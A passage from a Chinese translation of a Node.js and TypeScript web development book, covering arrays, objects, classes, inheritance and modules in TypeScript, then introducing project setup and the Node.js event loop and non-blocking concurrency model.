列表 3.43:在 primer 文件夹中的 index.ts 文件中使用类型注解

**let** **myArray: any[] = [];**
myArray[0] = 100;
myArray[1] = "Adam";
myArray[2] = true; 

数组可以被限制为具有特定类型的值,如清单 3.44所示。

清单 3.44:在 primer 文件夹中的 index.ts 文件中限制数组值类型

**let** **myArray: (number | string | boolean)[] = [];**
myArray[0] = 100;
myArray[1] = "Adam";
myArray[2] = true; 

类型联合限制了数组,使其只能包含numberstringboolean值。请注意,我将类型联合放在括号中,因为联合number | string | boolean[]表示一个可以分配numberstring或布尔值数组的值,这并不是预期的。

数组可以在单个语句中定义和填充,如清单 3.45所示。

清单 3.45:在 primer 文件夹中的 index.ts 文件中填充新的数组

let myArray: (number | string | boolean)[] = [100, "Adam", true]; 

如果你省略了类型注解,TypeScript 将从用于填充数组的值中推断数组类型。你应该谨慎地使用此功能,因为对于打算包含多种类型的数组,它要求在创建数组时使用完整的类型范围。

读取和修改数组的内 容

你使用方括号([])读取给定索引的值,将所需的索引放在括号之间,如清单 3.46所示。

清单 3.46:在 primer 文件夹中的 index.ts 文件中读取数组索引的数据

let myArray: (number | string | boolean)[] = [100, "Adam", true];
**let val = myArray[0];**
**console.log(`Value: ${val}`);** 

TypeScript 编译器推断数组中值的类型,因此清单 3.46val变量的类型是number | string | boolean。这段代码产生了以下输出:

Value: 100 

你可以通过简单地分配一个新的值到索引来修改 JavaScript 数组中任何位置的数据,如清单 3.47所示。TypeScript 编译器将检查你分配的值的类型是否与数组元素类型匹配。

清单 3.47:在 primer 文件夹中的 index.ts 文件中修改数组的内容

let myArray: (number | string | boolean)[] = [100, "Adam", true];
**myArray[0****] = "Tuesday";**
let val = myArray[0];
console.log(`Value: ${val}`); 

在这个例子中,我将一个string赋值给了数组的0位置,这个位置之前被一个number占据。这段代码产生了以下输出:

Value: Tuesday 

枚举数组的内 容

你可以使用for循环或forEach方法枚举数组的内 容,forEach方法接收一个函数,该函数被调用来处理数组中的每个元素。清单 3.48展示了这两种方法。

清单 3.48:在 primer 文件夹中的 index.ts 文件中枚举数组的内 容

let myArray: (number | string | boolean)[] = [100, "Adam", true];
**for (let i = 0; i < myArray.length; i++) {**
 **console.log("Index " + i + ": " + myArray[i]);**
**}**
**console****.log("---");**
**myArray.forEach((value, index) =>**
 **console.log("Index " + index + ": " + value));** 

JavaScript 的for循环与其他许多语言中的循环工作方式相同。你使用其length属性确定数组中有多少个元素。

传递给forEach方法的函数提供了两个参数:要处理的当前项的值和该项在数组中的位置。在这个列表中,我使用了箭头函数作为forEach方法的参数,这是箭头函数擅长的用法(你将在本书中看到其使用)。列表的输出如下:

Index 0: 100
Index 1: Adam
Index 2: true
---
Index 0: 100
Index 1: Adam
Index 2: true 

使用展开运算符

扩展运算符用于展开数组,以便其内容可以用作函数参数或与其他数组组合。在 列表 3.49 中,我使用了扩展运算符来展开数组,以便其项可以组合到另一个数组中。

列表 3.49:在 primer 文件夹中的 index.ts 文件中使用扩展运算符

let myArray: (number | string | boolean)[] = [100, "Adam", true];
**let otherArray = [...myArray, 200, "Bob", false];**
**// for (let i = 0; i < myArray.length; i++) {**
**//     console.log("Index " + i + ": " + myArray[i]);**
**// }**
**// console.log("---");**
**otherArray.forEach(****(value, index) =>**
 **console.log("Index " + index + ": " + value));** 

扩展运算符是一个省略号(三个点的序列),它会导致数组被展开:

...
let otherArray = [**...myArray**, 200, "Bob", false];
... 

使用扩展运算符,我可以在定义 otherArray 时将 myArray 指定为一个项,结果是将第一个数组的所有内容展开并添加到第二个数组中作为项。此示例产生以下结果:

Index 0: 100
Index 1: Adam
Index 2: true
Index 3: 200
Index 4: Bob
Index 5: false 

对象的处理

JavaScript 对象是一组属性集合,每个属性都有一个名称和值。创建对象的最简单方法是使用文字符号,如 列表 3.50 所示。

列表 3.50:在 primer 文件夹中的 index.ts 文件中创建对象

let hat = {
    name: "Hat",
    price: 100
};
let boots = {
    name: "Boots",
    price: 100
}
console.log(`Name: ${hat.name}, Price: ${hat.price}`);
console.log(`Name: ${boots.name}, Price: ${boots.price}`); 

文字符号语法使用大括号来包含属性名称和值的列表。名称与它们的值之间用冒号分隔,与其他属性之间用逗号分隔。在 列表 3.50 中定义了两个对象,分别命名为 hatboots。通过变量名可以访问对象定义的属性,如下所示:

...
console.log(`Name: ${hat.name}, Price: ${hat.price}`);
... 

列表 3.50 中的代码产生以下输出:

Name: Hat, Price: 100
Name: Boots, Price: 100 

理解文字对象类型

当 TypeScript 编译器遇到文字对象时,它会推断其类型,使用属性名称及其分配的值组合。这个组合可以用在类型注解中,允许描述对象的形状,例如,作为函数参数,如 列表 3.51 所示。

列表 3.51:在 primer 文件夹中的 index.ts 文件中描述对象类型

let hat = {
    name: "Hat",
    price: 100
};
let boots = {
    name: "Boots",
    price: 100
}
**function printDetails(product : { name: string, price: number}) {**
 **console.log(`Name: ${product.name}, Price: ${product.price}****`);** 
**}**
**printDetails(hat);**
**printDetails(boots);** 

类型注解指定 product 参数可以接受定义了名为 namestring 属性和名为 pricenumber 属性的对象。此示例产生的输出与 列表 3.50 相同。

类型注解描述属性名称和类型的组合,仅为对象设定了一个最小阈值,可以定义额外的属性,并且仍然符合类型,如 列表 3.52 所示。

列表 3.52. 在 primer 文件夹中的 index.ts 文件中添加属性

let hat = {
    name: "Hat",
    price: 100
};
let boots = {
    name: "Boots",
    price: 100,
   ** category: "Snow Gear"**
}
function printDetails(product : { name: string, price: number}) {
    console.log(`Name: ${product.name}, Price: ${product.price}`);   
}
printDetails(hat);
printDetails(boots); 

列表添加了一个新属性到分配给 boots 变量的对象中,但由于该对象定义了类型注解中描述的属性,因此该对象仍然可以用作 printDetails 函数的参数。此示例产生的输出与 列表 3.50 相同。

在类型注解中定义可选属性

可以使用问号来表示可选属性,如 列表 3.53 所示,允许不定义该属性的对象仍然符合类型。

列表 3.53 在 primer 文件夹中的 index.ts 文件中定义可选属性

let hat = {
    name: "Hat",
    price: 100
};
let boots = {
    name: "Boots",
    price: 100,
    category: "Snow Gear"
}
**function printDetails(product : { name: string, price: number,**
 **category?: string}) {**
 **if (product.category != undefined) {**
 **console.log(****`Name: ${product.name}, Price: ${product.price}, `**
 **+ `Category: ${product.category}`);** 
 **} else {**
 **console.log(`Name: ${product.name}, Price: ${product.price}****`);** 
 **}**
**}**
printDetails(hat);
printDetails(boots); 

类型注解添加了一个可选的 category 属性,该属性被标记为可选。这意味着该属性的 类型是 string | undefined,函数可以检查是否提供了 category 值。此代码生成了以下输出:

Name: Hat, Price: 100
Boots, Price: 100, Category: Snow Gear 

定义类

类是用于创建对象的模板,提供了一种替代字面量语法的方案。类对 JavaScript 规范的支持是最近添加的,目的是使使用 JavaScript 与其他主流编程语言更加一致。列表 3.54 定义了一个类,并使用它来创建对象。

列表 3.54:在 primer 文件夹中的 index.ts 文件中定义一个类

**class** **Product {**
 **constructor(name: string, price: number, category?: string) {**
 **this.name = name;**
 **this.price = price;**
 **this.category** **= category;**
 **}**
 **name: string**
 **price: number**
 **category?: string**
**}**
**let hat = new Product("Hat", 100);**
**let boots = new Product****("Boots", 100, "Snow Gear");**
function printDetails(product : { name: string, price: number,
        category?: string}) {
    if (product.category != undefined) {
        console.log(`Name: ${product.name}, Price: ${product.price}, `
            + `Category: ${product.category}`);   
    } else {
        console.log(`Name: ${product.name}, Price: ${product.price}`);   
    }
}
printDetails(hat);
printDetails(boots); 

如果你使用过其他主流语言,如 Java 或 C#,那么 JavaScript 类将很熟悉。class 关键字用于声明一个类,后跟类的名称,在这个例子中是 Product

当使用类创建新对象时,会调用 constructor 函数,这提供了一个接收数据值和执行类所需的任何初始设置的机会。在示例中,构造函数定义了 namepricecategory 参数,这些参数用于将值分配给具有相同名称的属性。

new 关键字用于从类创建对象,如下所示:

...
let hat = **new** Product("Hat", 100);
... 

这个语句使用 Product 类作为模板创建了一个新对象。在这种情况下,Product 被用作一个函数,传递给它的参数将由类定义的 constructor 函数接收。这个表达式的结果是分配给名为 hat 的变量的新对象。

注意,从类创建的对象仍然可以用作 printDetails 函数的参数。引入类改变了对象创建的方式,但这些对象具有相同的属性名称和类型组合,并且仍然符合函数参数的类型注解。列表 3.54 中的代码生成了以下输出:

Name: Hat, Price: 100
Name: Boots, Price: 100, Category: Snow Gear 

将方法添加到类中

我可以通过将 printDetails 函数定义的功能移动到由 Product 类定义的方法中来简化示例中的代码,如 列表 3.55 所示。

列表 3.55:在 primer 文件夹中的 index.ts 文件中定义一个方法

class Product {
    constructor(name: string, price: number, category?: string) {
        this.name = name;
        this.price = price;
        this.category = category;
    }
    name: string
    price: number
    category?: string
    **printDetails() {**
 **if (this.category != undefined) {**
 **console.log(`Name: ${this****.name}, Price: ${this.price}, `**
 **+ `Category: ${this.category}`);** 
 **} else {**
 **console.log(`Name:** **${this.name}, Price: ${this.price}`);** 
 **}** 
 **}**
}
let hat = new Product("Hat", 100);
let boots = new Product("Boots", 100, "Snow Gear");
**// function printDetails(product : { name: string, price: number,**
**//         category?: string}) {**
**//     if (product.category != undefined) {**
**//         console.log(`Name: ${product.name}, Price: ${product.price}, `**
**//             + `Category: ${product.category}`);** 
**//     } else {**
**//         console.log(`Name: ${product.name}, Price: ${product.price}`);** 
**//     }**
**// }**
**hat.printDetails();**
**boots.printDetails();** 

方法通过对象调用,如下所示:

...
hat.**printDetails****();**
... 

方法通过 this 关键字访问对象定义的属性:

...
console.log(`Name: ${**this.name**}, Price: ${**this.price**}`);   
... 

这个示例生成了以下输出:

Name: Hat, Price: 100
Name: Boots, Price: 100, Category: Snow Gear 

访问控制和简化构造函数

TypeScript 通过使用publicprivateprotected关键字提供对访问控制的支撑。public类允许对由类定义的属性和方法无限制访问,这意味着它们可以被应用程序的任何其他部分访问。private关键字限制了特性的访问,使得它们只能在被定义的类内部访问。protected关键字限制了访问,使得特性可以在类或其子类内部访问。

默认情况下,由类定义的特性可以通过应用程序的任何部分访问,就像已经应用了public关键字一样。在这本书中,您不会看到对方法和属性应用了访问控制关键字,因为在 Web 应用程序中访问控制不是必需的。但有一个我经常使用的相关特性,它允许通过将访问控制关键字应用于构造函数参数来简化类,如清单 3.56所示。

清单 3.56:简化 primer 文件夹中 index.ts 文件中的类

class Product {
   ** constructor(public name: string, public price: number,**
 **public category?: string) {**
 **// this.name = name;**
 **// this.price = price;**
 **// this.category = category;**
 **}**
 **// name: string**
 **// price: number**
 **// category?: string**
    printDetails() {
        if (this.category != undefined) {
            console.log(`Name: ${this.name}, Price: ${this.price}, `
                + `Category: ${this.category}`);   
        } else {
            console.log(`Name: ${this.name}, Price: ${this.price}`);   
        }       
    }
}
let hat = new Product("Hat", 100);
let boots = new Product("Boots", 100, "Snow Gear");
hat.printDetails();
boots.printDetails(); 

在构造函数参数中添加一个访问控制关键字的效果是创建一个具有相同名称、类型和访问级别的属性。例如,将public关键字添加到price参数,将创建一个名为pricepublic属性,它可以分配number类型的值。通过构造函数接收的值用于初始化属性。这是一个有用的特性,消除了复制参数值以初始化属性的需要。清单 3.56中的代码产生与清单 3.53相同的输出,只是namepricecategory属性的定义方式发生了变化。

使用类继承

类可以使用extends关键字从其他类继承行为,如清单 3.57所示。

清单 3.57:在 primer 文件夹中 index.ts 文件中使用类继承

class Product {
    constructor(public name: string, public price: number,
        public category?: string) {
    }
    printDetails() {
        if (this.category != undefined) {
            console.log(`Name: ${this.name}, Price: ${this.price}, `
                + `Category: ${this.category}`);   
        } else {
            console.log(`Name: ${this.name}, Price: ${this.price}`);   
        }       
    }
}
**class** **DiscountProduct extends Product {**
 **constructor(name: string, price: number, private discount: number) {**
 **super(name, price - discount);**
 **}**
**}**
**let hat = new** **DiscountProduct("Hat", 100, 10);**
let boots = new Product("Boots", 100, "Snow Gear");
hat.printDetails();
boots.printDetails(); 

extends关键字用于声明将要继承的类,称为超类基类。在清单中,DiscountProductProduct继承。super关键字用于调用超类的构造函数和方法。DiscountProduct基于Product的功能添加了对价格折扣的支持,产生以下结果:

Name: Hat, Price: 90
Name: Boots, Price: 100, Category: Snow Gear 

检查对象类型

当应用于一个对象时,typeof函数将返回object。为了确定一个对象是否是从一个类派生出来的,可以使用instanceof关键字,如清单 3.58所示。

清单 3.58:在 primer 文件夹中 index.ts 文件中检查对象类型

class Product {
    constructor(public name: string, public price: number,
         public category?: string) {
    }
    printDetails() {
        if (this.category != undefined) {
            console.log(`Name: ${this.name}, Price: ${this.price}, ` +
                `Category: ${this.category}`);   
        } else {
            console.log(`Name: ${this.name}, Price: ${this.price}`);   
        }       
    }
}
class DiscountProduct extends Product {
    constructor(name: string, price: number, private discount: number) {
        super(name, price - discount);
    }
}
let hat = new DiscountProduct("Hat", 100, 10);
let boots = new Product("Boots", 100, "Snow Gear");
**// hat.printDetails();**
**// boots.printDetails();**
**console.log(`Hat is a Product? ${hat instanceof Product}`);**
**console.****log(`Hat is a DiscountProduct? ${hat instanceof DiscountProduct}`);**
**console.log(`Boots is a Product? ${boots instanceof Product}`);**
**console.****log("Boots is a DiscountProduct? "**
 **+ (boots instanceof DiscountProduct));** 

instanceof关键字与一个对象值和一个类一起使用,如果对象是由该类或其超类创建的,表达式将返回true清单 3.58中的代码产生以下输出:

Hat is a Product? True
Hat is a DiscountProduct? True
Boots is a Product? True
Boots is a DiscountProduct? false 

使用 JavaScript 模块

JavaScript 模块用于将应用程序拆分为单独的文件。在运行时,模块之间的依赖关系被解析,包含模块的文件被加载,它们包含的代码被执行。

创建和使用模块

你添加到项目中的每个 TypeScript 或 JavaScript 文件都被视为一个模块。为了演示,我在 primer 文件夹中创建了一个名为 modules 的文件夹,并向其中添加了一个名为 name.ts 的文件,并在 列表 3.59 中展示了相应的代码。

列表 3.59:模块文件夹中 name.ts 文件的内容

export class Name {
    constructor(public first: string, public second: string) {}
    get nameMessage() {
        return `Hello ${this.first} ${this.second}`;
    }
} 

在 JavaScript 或 TypeScript 文件中定义的类、函数和变量默认情况下只能在该文件内部访问。使用 export 关键字可以使功能在文件外部可用,以便其他应用程序部分可以使用它们。在 列表 3.59 中,我应用了 export 关键字到 Name 类,这意味着它可以在模块外部使用。

接下来,向 modules 文件夹中添加一个名为 weather.ts 的文件,其内容如 列表 3.60 所示。此模块导出一个名为 WeatherLocation 的类。

列表 3.60:模块文件夹中 weather.ts 文件的内容

export class WeatherLocation {
    constructor(public weather: string, public city: string) {}
    get weatherMessage() {
        return `It is ${this.weather} in ${this.city}`;
    }
} 

使用 import 关键字来声明对模块提供的功能的依赖。在 列表 3.61 中,我在 index.ts 文件中使用了 NameWeatherLocation 类,这意味着我必须使用 import 关键字来声明对这些类及其来源模块的依赖。

列表 3.61:在 primer 文件夹中的 index.ts 文件中导入特定的类型

import { Name } from "./modules/name";
import { WeatherLocation } from "./modules/weather";
let name = new Name("Adam", "Freeman");
let loc = new WeatherLocation("raining", "London");
console.log(name.nameMessage);
console.log(loc.weatherMessage); 

这就是我在这本书的大部分示例中使用 import 关键字的方式。关键字后面跟着大括号,其中包含当前文件中代码所依赖的特性的逗号分隔列表,然后是 from 关键字,最后是模块名称。在这种情况下,我从 modules 文件夹中的模块中导入了 NameWeatherLocation 类。请注意,在指定模块时,不包括文件扩展名。

index.ts 文件被编译时,TypeScript 编译器检测到对 name.tsweather.ts 文件中代码的依赖,因此创建了模块的纯 JavaScript 版本。在执行过程中,Node.js 检测到 index.js 文件中的依赖,并使用编译器创建的 name.jsweather.js 文件来解析这些依赖,产生以下输出:

Hello Adam Freeman
It is raining in London 

合并模块内容

在后面的示例中,特别是在 第三部分 中的 SportsStore 应用程序中,我将模块文件夹的内容合并起来,以便所有重要功能都可以在单个语句中导入,尽管它们定义在不同的代码文件中。要查看这是如何工作的,请向 modules 文件夹中添加一个名为 index.ts 的文件,其内容如 列表 3.62 所示。

列表 3.62:模块文件夹中 index.ts 文件的内容

export { Name } from "./name";
export { WeatherLocation } from "./weather"; 

index.ts 文件包含每个代码文件中定义的特性的 export 语句。这允许通过指定包含文件夹的名称来导入这些特性,而不需要指定单个文件,如 列表 3.63 所示。

列表 3.63:在 primer 目录中的 index.ts 文件中导入模块文件夹

**import { Name, WeatherLocation } from "./modules";**
let name = new Name("Adam", "Freeman");
let loc = new WeatherLocation("raining", "London");
console.log(name.nameMessage);
console.log(loc.weatherMessage); 

此列表产生的输出与 列表 3.61 相同。

理解模块解析

你将在本书中 import 语句中看到两种指定模块的方式。第一种是相对模块,其中模块的名称前缀为 ./,如 列表 3.60 中的此示例所示:

`...`
`import { Name, WeatherLocation } from "./modules";`
`...` 

此语句指定了一个相对于包含 import 语句的文件所在的模块。在这种情况下,由于没有指定文件名,所以将加载 modules 目录中的 index.ts 文件。另一种导入类型是非相对的。以下是在后续章节中你会看到的非相对 import 的示例:

`...`
`import { Express } from "express";`
`...` 

import 语句中的模块不以 ./ 开头,依赖关系通过在 node_modules 文件夹中查找包来解决。在这种情况下,依赖关系依赖于 express 包提供的功能,该包在 第五章 中介绍。

摘要

在本章中,我描述了基本的 TypeScript 和 JavaScript 功能,为后续章节提供基础。

  • JavaScript 是一种动态类型和弱类型语言,这在现代编程语言中是不常见的组合。

  • 任何类型的值都可以分配给变量、常量和函数参数。

  • JavaScript 会将值强制转换为其他类型以执行比较和其他操作。

  • TypeScript 是 JavaScript 的超集,允许开发者在编写代码时清晰地表达他们对数据类型的假设。

  • TypeScript 并不改变 JavaScript 的类型系统,TypeScript 文件被编译成纯 JavaScript。

在下一章中,我将描述一个对于理解 Node.js 及其在 Web 应用程序中的角色至关重要的基本概念:并发。

第四章:理解 Node.js 并发

服务器端 Web 开发的特点是尽可能快速和高效地处理大量 HTTP 请求。JavaScript 与其他语言和平台不同,因为它只有一个执行线程,这意味着 HTTP 请求是逐个处理的。然而,在幕后,还有更多的事情在进行,在本章中,我将解释为什么 JavaScript 方法不寻常,Node.js API 如何代表 JavaScript 代码执行工作,以及如何创建额外的执行线程来处理计算密集型任务。表 4.1 将 JavaScript 并发置于上下文中。

表 4.1:将 Node.js 并发置于上下文中

问题 答案
它是什么? 并发是代码多个线程的执行。Node.js 支持并发,但它隐藏了这些细节不向开发者展示。
为什么它有用? 并发允许服务器通过同时接受和处理多个 HTTP 请求来实现更高的吞吐量。
如何使用? Node.js 为 JavaScript 代码提供了一个名为主线程的单个执行线程,它依赖于事件来协调处理不同线程所需的工作。Node.js API 在其 API 中广泛使用并发执行,但这在很大程度上对开发者隐藏。
有没有陷阱或限制? 必须注意不要阻塞主线程;否则,性能将受到影响。
有没有替代方案? 没有。并发模型是 Node.js 的核心,理解它是创建可扩展经济型 Web 应用程序的关键。

表 4.2 总结了本章内容。

表 4.2:本章总结

问题 解决方案 列表
并发执行任务 使用 Node.js API 并通过回调函数或承诺处理事件。 10-15
将代码包装为承诺或回调 使用 promisifycallbackify 函数。 16, 17
避免阻塞主线程处理简单任务 将工作分解成更小的块,可以与其他工作交织进行。 21
避免阻塞主线程处理复杂任务 使用工作线程。 22-27

准备本章内容

要创建本章的项目,打开一个新的命令提示符,导航到一个方便的位置,并创建一个名为 webapp 的文件夹。在 webapp 文件夹中运行 列表 4.1 中显示的命令,以创建 package.json 文件。

列表 4.1:初始化项目

npm init -y 

webapp 文件夹中运行 列表 4.2 中显示的命令,以安装用于编译 TypeScript 文件和监视文件更改的包。

提示

您可以从github.com/PacktPublishing/Mastering-Node.js-Web-Development下载本章(以及本书中所有其他章节)的示例项目。有关如何获取帮助以运行示例的信息,请参阅第一章

列表 4.2:安装工具包

npm install --save-dev typescript@5.2.2
npm install --save-dev tsc-watch@6.0.4 

webapp 文件夹中运行列表 4.3中显示的命令,以添加配置 Node.js 项目的 TypeScript 编译器的包,并描述 Node.js API 使用的类型。

列表 4.3:添加编译配置和类型包

npm install --save-dev @tsconfig/node20
npm install --save @types/node@20.6.1 

要配置 TypeScript 编译器,在 webapp 文件夹中创建一个名为 tsconfig.json 的文件,其内容如列表 4.4所示。

列表 4.4:webapp 文件夹中 tsconfig.json 文件的内容

{
   "extends": "@tsconfig/node20/tsconfig.json",
    "compilerOptions": {                      
        "rootDir": "src",  
        "outDir": "dist",                                   
    }
} 

此配置文件扩展了 TypeScript 开发者为与 Node.js 一起工作提供的配置文件。TypeScript 文件将在 src 文件夹中创建,编译后的 JavaScript 将写入 dist 文件夹。

打开 package.json 文件,并将列表 4.5中显示的命令添加到 script 部分,以定义将启动构建工具的命令。

列表 4.5:在 webapp 文件夹中的 package.json 文件中添加脚本命令

{
  "name": "webapp",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    **"start": "tsc-watch --onsuccess \"node dist/server.js\""**
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "devDependencies": {
    "tsc-watch": "⁶.0.4",
    "typescript": "⁵.2.2"
  }
} 

创建简单的 Web 应用程序

在设置了包和构建工具之后,是时候创建一个简单的 Web 应用程序了。创建 webapp/src 文件夹,并向其中添加一个名为 handler.ts 的文件,其内容如列表 4.6所示。

列表 4.6:src 文件夹中 handler.ts 文件的内容

import { IncomingMessage, ServerResponse } from "http";
export const handler = (req: IncomingMessage, res: ServerResponse) => {
    res.end("Hello World");
}; 

此文件定义了将处理 HTTP 请求的代码。我在第五章中描述了 Node.js 提供的 HTTP 功能,但就本章而言,只需知道 HTTP 请求由一个 IncomingMessage 对象表示,响应是通过使用 ServerResponse 对象创建的。列表 4.6中的代码对所有请求都返回一个简单的 Hello World 消息。

接下来,向 src 文件夹添加一个名为 server.ts 的文件,其内容如列表 4.7所示。

列表 4.7:src 文件夹中 server.ts 文件的内容

import { createServer } from "http";
import { handler } from "./handler";
const port = 5000;
const server = createServer(handler);
server.listen(port, function() {
    console.log(`Server listening on port ${port}`);
}); 

此代码创建了一个简单的 HTTP 服务器,它监听端口 5000 上的 HTTP 请求,并使用列表 4.6中定义的 handler.ts 文件中的函数来处理它们。

webapp 文件夹中添加一个名为 data.json 的文件,其内容如列表 4.8所示。此文件将在本章后面使用。

列表 4.8:webapp 文件夹中 data.json 文件的内容

{
    "products": [
        { "id": 1, "name": "Kayak", "category": "Watersports",
            "description": "A boat for one person", "price": 275 },
        { "id": 2, "name": "Lifejacket", "category": "Watersports",
            "description": "Protective and fashionable", "price": 48.95 },
        { "id": 3, "name": "Soccer Ball", "category": "Soccer",
            "description": "FIFA-approved size and weight",
            "price": 19.50 },
        { "id": 4, "name": "Corner Flags", "category": "Soccer",
            "description": "Give your playing field a professional touch",
            "price": 34.95 }
    ]
} 

webapp 文件夹中运行列表 4.9中显示的命令,以启动监视器,该监视器将监视和编译 TypeScript 文件,并执行生成的 JavaScript。

列表 4.9:启动项目

npm start 

src 文件夹中的 server.ts 文件将被编译,生成一个名为 dist 文件夹中的 server.js 的纯 JavaScript 文件,当它执行时将产生以下输出:

Server listening on port 5000 

打开网页浏览器并导航到http://localhost:5000以向 HTTP 服务器发送请求,这将产生图 4.1中显示的响应。

图 4.1:运行示例应用

理解(简化的)服务器代码执行

需要一个免责声明:本章省略了一些细节,对某些解释有些宽松,并且模糊了一些细微的界限。

本章涉及的主题很复杂,有无数的细微差别和细节,以及在不同平台上意味着不同事物的术语。因此,考虑到简洁性,我专注于对 JavaScript Web 应用开发重要的事项,即使这意味着会忽略一些主题。

并发是一个真正有趣的主题,并且可以是一个有回报的研究领域。但在深入细节之前,请记住,要成为一名有效的 JavaScript 开发者,你只需要对并发有一个基本的概述——就像本章中提到的。

理解多线程执行

服务器端 Web 应用需要能够同时处理许多 HTTP 请求,以便经济地扩展规模,这样就可以使用少量的服务器容量来支持大量的客户端。

传统的做法是利用现代服务器硬件的多线程功能,创建一个处理线程池。当一个新的 HTTP 请求到达时,它被添加到一个队列中,在那里它等待直到有一个线程可用来处理它。线程处理请求,将响应发送回客户端,然后返回队列等待下一个请求。

服务器硬件可以同时执行多个线程,如图图 4.2所示,这样就可以并发接收和处理大量请求。

图 4.2:并发处理 HTTP 请求

这种方法充分利用了服务器硬件,但它要求开发者考虑请求可能会相互干扰。一个常见的问题是,一个处理线程在另一个线程读取数据时修改数据,从而产生意外的结果。

为了避免这类问题,大多数编程语言都包含用于限制线程之间交互的关键字。具体细节各异,但像locksynchronize这样的关键字被用来确保线程通过创建只能由一个线程同时执行的代码保护区域来安全地使用共享资源和数据。

编写使用线程的代码需要在安全和性能之间取得平衡。代码的保护区域可能是性能瓶颈,如果保护措施应用得太广泛,那么性能会受到影响,可以并发处理的请求数量也会减少。然而,如果保护措施应用得太少,请求可能会相互干扰并产生意外的结果。

理解阻塞和非阻塞操作

在大多数服务器端应用程序中,处理 HTTP 请求的线程大部分时间都在等待。这可能是在等待数据库生成结果,等待从文件中获取下一块数据,或者等待访问受保护的代码区域。

当一个线程在等待时,我们称它为阻塞。一个阻塞的线程在等待的操作完成之前无法执行任何其他工作,在此期间,服务器处理请求的能力会降低。在繁忙的应用程序中,新请求的流入是持续的,而让线程闲置不工作会导致请求队列堆积,从而降低整体吞吐量。

一个解决方案是使用非阻塞操作,也称为异步操作。这些术语可能会让人困惑。理解它们最好的方式是通过一个现实世界的例子:一家披萨餐厅。

想象一下,在接单后,餐厅的一名员工走进厨房,组装你的披萨,把它放进烤箱,站在那里等待 10 分钟,然后把它端给你。这就是阻塞——或者说同步——的披萨制作方法。如果顾客在有空闲员工接单时进入餐厅,他们会很高兴,因为他们可以最快地得到披萨。但其他人不会高兴。排队等候的其他顾客不会高兴,因为他们必须等待,直到他们前面的所有顾客的披萨都组装好、烤好并上桌,这时才有员工可以为他们制作披萨。餐厅老板也不高兴,因为披萨的吞吐量等于员工数量,而员工大部分时间都在等待披萨烤熟。

有一个更合理的方法。一个员工——让我们称他为鲍勃——被分配了监控烤箱的任务。其他员工像以前一样接单、组装披萨,并将它们放入烤箱,但他们不会等待披萨烤熟,而是让鲍勃告诉他们披萨何时烤好。

当鲍勃在烤箱里观察披萨时,其他员工可以继续工作,为队列中的下一个顾客接单,准备下一个披萨,等等。鲍勃可以观察很多披萨,所以能生产的披萨数量限制是烤箱的大小,而不是员工数量。

对于除了鲍勃之外的所有人来说,烤披萨已经变成了一种非阻塞操作。等待烤箱是没有办法绕过的,但通过让一个人做所有的等待,餐厅的效率得到了提高。每个人都感到高兴。

嗯,几乎是这样。餐厅老板很高兴,因为餐厅能生产更多的披萨。排队等候的顾客也很高兴,因为员工可以在鲍勃查看早先订单的同时开始制作他们的披萨。但个别订单可能需要更长的时间:鲍勃可能会告诉另一个员工披萨已经准备好了,但如果他们正忙于服务其他顾客,他们可能无法提供服务。整体餐厅的表现有所提高,但个别订单可能需要更长的时间来完成。

可以采用与图 4.3所示相同的方法来处理 HTTP 请求。

图 4.3:从阻塞操作中释放请求处理器

处理器线程在继续处理队列中的请求的同时,依赖于监控线程而不是等待操作完成。当阻塞操作完成后,监控线程将请求放回队列,以便处理器线程可以继续处理该请求。

将操作委托给监控的过程通常集成到用于编写 Web 应用的 API 中,这样从文件中读取数据等操作会自动释放处理器线程,使其能够执行其他工作,并且可以信赖它在文件读取操作完成后将请求放入队列以进行处理。

重要的是要理解,非阻塞异步这两个术语是从处理器线程的角度出发的。操作仍然需要时间来完成,但在那段时间内处理器线程可以执行其他工作。仍然存在阻塞线程,但它们不是负责处理 HTTP 请求的线程,这是我们最关心的线程。

理解 JavaScript 代码执行

作为一种基于浏览器的语言,JavaScript 的起源塑造了 JavaScript 代码的编写和执行方式。JavaScript 最初用于提供用户与 HTML 元素的交互。每种类型的元素都定义了事件,描述了用户与该元素交互的不同方式。例如,按钮元素有用户点击按钮、将指针移至按钮上等事件。

程序员编写称为回调的 JavaScript 函数,并使用浏览器的 API 将这些函数与元素上的特定事件关联起来。当浏览器检测到事件时,它会将回调添加到队列中,以便由 JavaScript 运行时执行。

JavaScript 运行时有一个单独的线程,称为主线程,负责执行回调。主线程在一个循环中运行,从队列中取出回调并执行它们,这被称为 JavaScript 的事件循环。事件循环是浏览器原生代码(为特定操作系统编写)与在任意兼容运行时上运行的 JavaScript 代码交互的方式。

注意

事件循环更复杂,但回调队列的概念对于有效的 JavaScript 网络开发已经足够接近。如果你像我一样对此类事物感兴趣,这些细节值得探索。一个不错的起点是nodejs.org/en/docs/guides/event-loop-timers-and-nexttick

事件通常成簇发生,例如当指针跨越多个元素时,因此队列可以包含多个等待执行的回调,如图4.4所示。

图 4.4:回调队列

使用单线程意味着任何需要时间完成的回调操作都会导致应用程序冻结,因为回调队列正在等待处理。为了帮助管理这个问题,许多浏览器 API 特性是非阻塞的,并使用回调模式来传递它们的结果。

几年来,JavaScript 语言和浏览器 API 已经添加了功能,但事件循环和回调函数用于执行 JavaScript。例如,浏览器提供的 HTTP 请求 API 定义了一系列描述请求生命周期的事件,这些事件通过回调函数处理,如图4.5所示。

图 4.5:浏览器 API 的结果通过 JavaScript 回调函数处理

在幕后,浏览器使用原生线程执行 HTTP 请求并等待响应,然后通过回调将响应传递给 JavaScript 运行时。

JavaScript 运行时只执行一个回调,因此 JavaScript 语言不需要像locksynchronize这样的关键字。JavaScript 代码通过一个 API 与浏览器交互,该 API 隐藏了实现细节并一致地接收结果。

理解 Node.js 代码执行

Node.js 保留了主线程和事件循环,这意味着服务器端代码以与客户端 JavaScript 相同的方式执行。对于 HTTP 服务器,主线程是唯一的请求处理器,回调用于处理传入的 HTTP 连接。示例应用程序演示了如何使用回调来处理 HTTP 请求:

...
const server = createServer(**handler**);
... 

当 Node.js 收到 HTTP 连接时,传递给createServer函数的回调函数将被调用。该函数定义了代表已接收请求和将返回给客户端的响应的参数:

...
export const handler = (**req: IncomingMessage, res: ServerResponse**) => {
    res.end("Hello World");
};
... 

我在第五章中描述了 Node.js 提供的 HTTP API,但回调函数使用其参数来准备将发送给客户端的响应。Node.js 接收 HTTP 请求和返回 HTTP 响应的细节被隐藏在原生代码中,如图4.6所示。

